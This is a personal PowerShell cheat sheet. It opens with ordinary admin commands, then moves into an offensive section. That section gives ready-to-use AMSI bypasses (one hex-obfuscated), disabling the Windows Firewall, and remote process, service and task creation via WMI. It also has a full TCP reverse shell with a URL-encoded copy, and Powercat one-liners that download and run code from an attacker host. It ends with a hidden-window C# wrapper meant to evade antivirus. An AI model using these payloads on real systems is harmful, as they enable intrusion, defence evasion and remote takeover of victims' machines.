Basics

Run commands directly

How to run commands directly with PowerShell

powershell -c "$COMMAND"
Link to original

Registry access

How to access the Windows Registry using PowerShell

You can actually access the registry from PowerShell using the cd command: cd HKLM:\ will take you to the HKEY_LOCAL_MACHINE hive, for instance.

Major hives:

  • HKEY_CLASSES_ROOT
  • HKEY_CURRENT_USER
  • HKEY_LOCAL_MACHINE
  • HKEY_USERS
  • HKEY_CURRENT_CONFIG
Link to original

Commands

Get-FileHash

Get-FileHash

Get-FileHash -Algorithm $ALGORITHM $FILE_PATH

The algorithm can be excluded (in which case SHA-256 is used). Lots of different hashing algorithms are supported — run help Get-FileHash to see a list.

Link to original

Invoke-WebRequest

Invoke-WebRequest

# Download to disk
#
Invoke-WebRequest -Uri $URL_OF_FILE -OutFile $FILE_ON_DISK
 
# Download into a variable (useful for scripts!)
#
$SCRIPT_DATA = `
	(New-Object System.Net.Webclient).DownloadString("$SCRIPT_URL")
 
# Download and invoke from memory
#
IEX (New-Object System.Net.Webclient).DownloadString("$SCRIPT_URL")
Link to original

Get-WinEvent

Get-WinEvent

Get-WinEvent is a PowerShell command for working with Windows event logs.

# Get help on Get-WinEvent (calls out to Microsoft).
#
Get-Help Get-WinEvent
 
# Filter event log output using the Where-Object command. This
# apparently pipes the entire output to the Where-Object
# command, which then scans for the appropriate field. So a
# bit inefficient for large logs.
#
Get-WinEvent -LogName Application | Where-Object {
	$_.ProviderName -Match 'WLMS'
}
 
# To match event IDs with Where-Object, use the slightly
# different form `Where-Object Id -eq 100`, etc.
 
# Use the -FilterHashtable flag. This causes the filtering to
# be done during the call made by Get-WinEvent, and has a more
# straight-forward syntax too. However, it only works when
# called against the system event log; Where-Object needs to
# be used when specifying an archived log via -Path.
#
# Note that hashes can be specified with newlines instead of
# semicolons as well, which can make scripts A LOT more
# readable!
#
Get-WinEvent -FilterHashtable @{
	LogName = 'Application';
	ProviderName = 'WLMS'
}
 
# To display all information about an event, pipe the output
# of Get-WinEvent to `Format-List -Property *`

FilterHashtable

Get-WinEvent FilterHashtable

There’s lots of good information about the various FilterHashtable keys in Microsoft’s documentation. Some important ones:

  • LogName (String)
  • ProviderName (String)
  • Path (String)
  • Keywords (Long)
  • ID (Int32)
  • Level (Int32)
  • StartTime (DateTime)
  • EndTime (DateTime)
  • UserID (SID)
  • Data (String)
  • [NamedData] (String)

Wildcards can be used with LogName and ProviderName, but not with other keys.

Event Viewer displays most of these values in the “General” when viewing an individual log entry, though note that Keywords is translated to a string.

Keywords

Get-WinEvent FilterHashtable keywords

  • AuditFailure (4503599627370496)
  • AuditSuccess (9007199254740992)
  • CorrelationHint2 (18014398509481984)
  • EventLogClassic (36028797018963968)
  • Sqm (2251799813685248)
  • WdiDiagnostic (1125899906842624)
  • WdiContext (562949953421312)
  • ResponseTime (281474976710656)
  • None (0)
Link to original

Levels

Get-WinEvent FilterHashtable log levels

  • Verbose (5)
  • Informational (4)
  • Warning (3)
  • Error (2)
  • Critical (1)
  • LogAlways (0)
Link to original

Event IDs

Windows event IDs

  • 104 — Event log was cleared
  • 1102 — Audit log was cleared (517 on Windows 2003 and earlier)
  • 4104 — PowerShell command and script logging
  • 4626 — Successful logon
    • LogonType 3 represents a (generic) network login
    • LogonType 9 represents a logon where the outbound credentials are different than the credentials used to authenticate to the account that is initiating that login (only logged by the host initiating the connection, however)

It’s hard to find documentation about event ID, and the meaning seems to shift between versions of Windows.

Link to original

Link to original

Link to original

Base64 encoding

How to work with base64 encoding using PowerShell

Encode a command to base64 in PowerShell:

$Text = "$ONE_LINE_POWERSHELL_COMMAND"
$Bytes = [System.Text.Encoding]::Unicode.GetBytes($Text)
$EncodedText = [Convert]::ToBase64String($Bytes)

Run this using:

powershell.exe -enc $EncodedText
Link to original

Working with services

Working with services in PowerShell

  • Get-Service — list all services, or drill down on a particular service.
  • Start-Service -Name $SERVICE/sc.exe start $SERVICE — start $SERVICE.
  • Stop-Service -Name $SERVICE/sc.exe stop $SERVICE — stop $SERVICE.
Link to original

Reconnaissance

Windows reconnaissance with PowerShell

There are a lot of PowerShell commands that can be used for enumerating Windows.

# List all AD users (IFF the machine is joined to a domain!)
#
Get-ADUser -Filter *
 
# List AD users within a particular LDAP subtree
#
Get-ADUser -Filter * -SearchBase "CN=Users,DC=example,DC=com"
 
# Enumerate antivirus
#
Get-CimInstance -Namespace root/SecurityCenter2 `
                -ClassName AntivirusProduct
 
# Check if the Windows Defender service is running
#
Get-Service WinDefend
 
# Check if real-time protection is enabled for Windows
# Defender
#
Get-MpComputerStatus | select RealTimeProtectionEnabled
 
# Get information about potential threats recently detected by
# Windows Defender
#
Get-MpThreat
 
# Check the status of the Windows Firewall
#
Get-NetFirewallProfile | Format-Table Name,Enabled
 
# Disable all WIndows Firewall profiles
#
Set-NetFirewallProfile -Profile Domain,Public,Private `
                       -Enabled False
 
# List Windows Firewall rules
#
Get-NetFirewallRule | select DisplayName,Enabled,Description
 
# Two ways to check if a port can be connected to (the first
# provides more output, while the second is more suitable for
# scripting)
#
Test-NetConnection -ComputerName $IP_OR_HOSTNAME -Port $PORT
 
(New-Object System.Net.Sockets.TcpClient("$IP_OR_HOSTNAME", "$PORT")).Connected
 
# List all current Windows logs
#
Get-EventLog -List
 
# Sysmon is dangerous for an attacker! Three ways to check if
# it's running...
#
Get-Process | Where-Object { $_.ProcessName -eq "Sysmon" }
 
Get-CimInstance win32_service `
	-Filter "Description = 'System Monitor service'"
 
Get-Service | where-object {$_.DisplayName -like "sysm"}
 
# List hidden directories
#
Get-ChildItem -Hidden -Path $SOME_PATH
 
# Get a process with a particular "image name" (generally example.exe has an image name of "example")
#
Get-Process -Name $IMAGE_NAME

When checking to see if Sysmon is running, you can also examine the HKLM\SOFTWARE\Microsoft\Windows\CurrentVersion\WINEVT\Channels\Microsoft-Windows-Sysmon\Operational Registry entry.

PowerShell Command History

PowerShell history file

View PowerShell’s history.

type $Env:USERPROFILE\AppData\Roaming\Microsoft\Windows\PowerShell\PSReadline\ConsoleHost_history.txt

Use %USERPROFILE% instead of $Env:USERPROFILE if running from cmd.exe.

Link to original

Link to original

Exploitation

How to bypass the PowerShell execution policy

The PowerShell execution policy can be bypassed on a case-by-case basis using -ex bypass; for example:

powershell -ex bypass -File $FILE.ps1

The -ex bypass flag isn’t necessary when executing code directly with -c.

This can also be set temporarily within a shell:

Set-ExecutionPolicy Bypass -Scope process -Force

However, this will not bypass other protections, in particular AMSI!

Link to original

Disable AMSI

How to disable AMSI

Windows Defender uses a process called AMSI that triggers when a script is run in PowerShell (this includes invocations of IEX for in-memory scripts!).

One bypass for this:

[REF].Assembly.GetType('System.Management.Automation.AmsiUtils').GetField('amsiInitFailed','NonPublic,Static').SetValue($null,$true)

Note that AMSI uses a regular expression to trap all PowerShell commands that contain AMSI-function related strings, however. This can be bypassed by breaking up the above script into separate variables, or by doing fancy string encoding-and-reassembly tricks.

[REF].Assembly.GetType('System.Management.Automation.'+$("41 6D 73 69 55 74 69 6C 73".Split(" ")|forEach{[char]([convert]::toint16($_,16))}|forEach{$result=$result+$_};$result)).GetField($("61 6D 73 69 49 6E 69 74 46 61 69 6C 65 64".Split(" ")|forEach{[char]([convert]::toint16($_,16))}|forEach{$result2=$result2+$_};$result2),'NonPublic,Static').SetValue($null,$true)

Be aware that AMSI bypasses are per session, not global!

Link to original

WinRM

How to use WinRM with PowerShell

Many large companies will enable PowerShell remoting on all machines in order to ease IT support burdens (by default, remoting is only enabled on domain controllers).

# Create PSCredential object for authentication.
#
$username = "$TARGET_USER";
$password = "$TARGET_PASSWORD";
$SECURE_PASSWORD = ConvertTo-SecureString "$TARGET_PASSWORD" `
                                          -AsPlainText -Force;
$CREDENTIAL_OBJECT = New-Object `
                   System.Management.Automation.PSCredential `
                   $TARGET_USER, $SECURE_PASSWORD;
 
# Enter an interactive PowerShell session on the $TARGET_HOST.
#
Enter-PSSession -ComputerName $TARGET_HOST `
                -Credential $CREDENTIAL_OBJECT
 
# Alternately, we can pass commands directly as "script
# blocks". Note that the $POWERSHELL_SCRIPT does not have
# access to any variables in the host script or session, as
# its sent to $TARGET_HOST for execution (though this can be
# worked around using the -ArgumentList parameter, if
# necessary).
#
Invoke-Command -ComputerName $TARGET_HOST `
               -Credential $CREDENTIAL_OBJECT `
               -ScriptBlock {
                    $POWERSHELL_SCRIPT
                }
Link to original

WMI

The below blocks demonstrate using WMI to spawn processes and create malicious services and tasks using powershell.

Prerequisites

How to set up WMI in PowerShell

# Create PSCredential object for authentication.
#
$SECURE_PASSWORD = ConvertTo-SecureString "$TARGET_PASSWORD" `
                                          -AsPlainText -Force;
$CREDENTIAL_OBJECT = `
        New-Object System.Management.Automation.PSCredential `
                   $TARGET_USER, $SECURE_PASSWORD;
 
# Start a new WMI session and store the connection information
# as $session. The protocol used can be either DCOM (RPC using
# TCP 135, as with sc.exe and schtasks.exe) or WSMAN (WinRM
# over TCP 5985 or TCP 5986, depending on whether HTTPS is
# supported by $TARGET_HOST).
#
$OPTIONS_OBJECT = New-CimSessionOption -Protocol DCOM
$SESSION_OBJECT = New-Cimsession `
                      -ComputerName $TARGET_HOST `
                      -Credential $CREDENTIAL_OBJECT `
                      -SessionOption $OPTIONS_OBJECT `
                      -ErrorAction Stop
Link to original

Remote process creation

How to run a remote Windows command using PowerShell

Invoke-CimMethod -CimSession $SESSION_OBJECT `
                 -ClassName Win32_Process `
                 -MethodName Create `
                 -Arguments @{
                      CommandLine = "$SOME_COMMAND"
                  }

wmic equivalent

How to run a remote command with wmic

wmic.exe /user:$TARGET_USER `
         /password:$TARGET_PASSWORD `
         /node:$TARGET_HOST `
    process call create "$SOME_COMMAND"
Link to original

Link to original

Remote service creation

How to work with remote services using WMI and PowerShell

# Create $ATTACKER_SERVICE using the WMI session established
# in $SESSION_OBJECT.
#
Invoke-CimMethod -CimSession $SESSION_OBJECT `
                 -ClassName Win32_Service `
                 -MethodName Create `
                 -Arguments @{
                      Name = "$ATTACKER_SERVICE";
                      DisplayName = "$ATTACKER_SERVICE";
                      PathName = "$SOME_COMMAND";
                      ServiceType = [byte]::Parse("16");
                      StartMode = "Manual"
                  }
 
# Get a handle to the new service.
#
$SERVICE_OBJECT = Get-CimInstance `
                      -CimSession $SESSION_OBJECT `
                      -ClassName Win32_Service `
                      -filter "Name LIKE '$ATTACKER_SERVICE'"
 
# Invoke $ATTACKER_SERVICE.
#
Invoke-CimMethod -InputObject $SERVICE_OBJECT `
                 -MethodName StartService
 
# Make sure that $ATTACKER_SERVICE is really dead.
#
Invoke-CimMethod -InputObject $SERVICE_OBJECT `
                 -MethodName StopService
 
# Clean up after yourself.
#
Invoke-CimMethod -InputObject $SERVICE_OBJECT `
                 -MethodName Delete
Link to original

Remote task creation

How to work with remote tasks using WMI and PowerShell

# Create $ATTACKER_TASK using the WMI session established in
# $SESSION_OBJECT. Note that $SOME_COMMAND must be broken up
# here into the binary path and the command arguments.
#
$TASK_OBJECT = New-ScheduledTaskAction `
                   -CimSession $SESSION_OBJECT `
                   -Execute "$SOME_BINARY_PATH" `
                   -Argument "$SOME_COMMAND_ARGUMENTS"
 
Register-ScheduledTask -CimSession $SESSION_OBJECT `
                       -Action $TASK_OBJECT `
                       -User "NT AUTHORITY\SYSTEM" `
                       -TaskName "$ATTACKER_TASK"
 
# Invoke $ATTACKER_TASK.
#
Start-ScheduledTask -CimSession $SESSION_OBJECT `
                    -TaskName "$ATTACKER_TASK"
 
# Clean up after yourself.
#
Unregister-ScheduledTask -CimSession $SESSION_OBJECT `
                         -TaskName "$ATTACKER_TASK"
Link to original

Install an MSI package

How to remotely install a Windows package with PowerShell

Invoke-CimMethod -CimSession $SESSION_OBJECT `
                 -ClassName Win32_Product `
                 -MethodName Install `
                 -Arguments @{
                    PackageLocation = "$PATH_TO_ATTACKER_MSI";
                    Options = "";
                    AllUsers = $false
                  }

wmic equivalent

How to remotely install a Windows package with wmic

wmic.exe /user:$TARGET_USER `
         /password:$TARGET_PASSWORD `
         /node:$TARGET_HOST `
    product call install PackageLocation=$PATH_TO_ATTACKER_MSI
Link to original

Link to original

Pure PowerShell reverse shell

PowerShell reverse shell

A pure PowerShell reverse shell:

$client = New-Object System.Net.Sockets.TCPClient('<IP>', <PORT>);
$stream = $client.GetStream();
[byte[]]$bytes = 0..65535 | %{0};
while (( $i = $stream.Read($bytes, 0, $bytes.Length) ) -ne 0) {
	$data = (New-Object -TypeName System.Text.ASCIIEncoding).GetString($bytes, 0, $i);
	$sendback = ( iex $data 2>&1 | Out-String );
	$sendback2 = $sendback + 'PS ' + (pwd).Path + '> ';
	$sendbyte = ( [text.encoding]::ASCII ).GetBytes($sendback2);
	$stream.Write($sendbyte, 0, $sendbyte.Length);
	$stream.Flush()
}
$client.Close()

URL-encoded version (uses powershell -c "$CODE"):

powershell%20-c%20%22%24client%20%3D%20New-Object%20System.Net.Sockets.TCPClient%28%27<IP>%27%2C<PORT>%29%3B%24stream%20%3D%20%24client.GetStream%28%29%3B%5Bbyte%5B%5D%5D%24bytes%20%3D%200..65535%7C%25%7B0%7D%3Bwhile%28%28%24i%20%3D%20%24stream.Read%28%24bytes%2C%200%2C%20%24bytes.Length%29%29%20-ne%200%29%7B%3B%24data%20%3D%20%28New-Object%20-TypeName%20System.Text.ASCIIEncoding%29.GetString%28%24bytes%2C0%2C%20%24i%29%3B%24sendback%20%3D%20%28iex%20%24data%202%3E%261%20%7C%20Out-String%20%29%3B%24sendback2%20%3D%20%24sendback%20%2B%20%27PS%20%27%20%2B%20%28pwd%29.Path%20%2B%20%27%3E%20%27%3B%24sendbyte%20%3D%20%28%5Btext.encoding%5D%3A%3AASCII%29.GetBytes%28%24sendback2%29%3B%24stream.Write%28%24sendbyte%2C0%2C%24sendbyte.Length%29%3B%24stream.Flush%28%29%7D%3B%24client.Close%28%29%22

Note that <IP> and <PORT> need to be appropriately replaced in the above code.

One annoying thing about this reverse shell… There’s no initial prompt, so you have no idea whether you’ve connected or not. but as soon as you enter a command (whoami, etc.), a prompt will appear after the output. On the plus side, however, this reverse shell will persist even after the PHP script times out!

Link to original

Powercat

Powercat

Powercat is a PowerShell-native re-implementation of netcat. Powercat can be installed on Kali Linux using sudo apt install powercat; the script can be found at /usr/share/windows-resources/powercat/powercat.ps1.

To execute:

powershell -c "IEX(New-Object System.Net.WebClient).DownloadString('http://$ATTACKER_IP:$ATTACKER_DOWNLOAD_PORT/powercat.ps1');powercat -c $ATTACKER_IP -p $ATTACKER_PORT -e cmd"

One line reverse shell

All-in-one Windows reverse shell with Powercat

This disables AMSI, downloads Powercat into memory, invokes the module, and fires up a reverse shell.

[REF].Assembly.GetType('System.Management.Automation.'+$("41 6D 73 69 55 74 69 6C 73".Split(" ")|forEach{[char]([convert]::toint16($_,16))}|forEach{$result=$result+$_};$result)).GetField($("61 6D 73 69 49 6E 69 74 46 61 69 6C 65 64".Split(" ")|forEach{[char]([convert]::toint16($_,16))}|forEach{$result2=$result2+$_};$result2),'NonPublic,Static').SetValue($null,$true); IEX (New-Object System.Net.Webclient).DownloadString("https://raw.githubusercontent.com/besimorhino/powercat/master/powercat.ps1"); powercat -c $ATTACKER_IP -p $ATTACKER_PORT -e cmd.exe

It’s probably advisable to use your own server to host Powercat in order to make tripping network alarms less likely.

Link to original

Link to original

Compile C# programs to bypass anti virus

How to bypass Windows antivirus with C#

C# can be used to bypass AV (at least as of September 2022) — just create a C# wrapper that fires up a PowerShell one-liner. (Sometimes this will need to be modified slightly to bypass AV, but generally you don’t have to tweak this code much — C# analysis doesn’t seem to be particularly robust for most AV products.)

using System;
namespace Game
{
	public class Program
	{
		public static void Main() {
			System.Diagnostics.Process P = new System.Diagnostics.Process();
			System.Diagnostics.ProcessStartInfo SI = new System.Diagnostics.ProcessStartInfo();
			SI.WindowStyle = System.Diagnostics.ProcessWindowStyle.Hidden;
			SI.FileName = "powershell.exe";
			SI.Arguments = "-enc $BASE64_ENCODED_SCRIPT_TO_RUN";
			P.StartInfo = SI;
			P.Start();
		}
	}
}

This can be compiled using PowerShell — perhaps even on the target itself. What’s the advantage to doing this? You can use Invoke-Mimikatz to run this binary remotely to quickly obtain a remote shell with the permissions of the user you’re impersonating.

$code = @"
using System;
namespace Game
{
	public class Program
	{
		public static void Main() {
			System.Diagnostics.Process P = new System.Diagnostics.Process();
			System.Diagnostics.ProcessStartInfo SI = new System.Diagnostics.ProcessStartInfo();
			SI.WindowStyle = System.Diagnostics.ProcessWindowStyle.Hidden;
			SI.FileName = "powershell.exe";
			SI.Arguments = "-enc $BASE64_ENCODED_SCRIPT_TO_RUN";
			P.StartInfo = SI;
			P.Start();
		}
	}
}
"@
Add-Type -outputtype consoleapplication -outputassembly $BINARY_NAME -TypeDefinition $code -Language CSharp
Link to original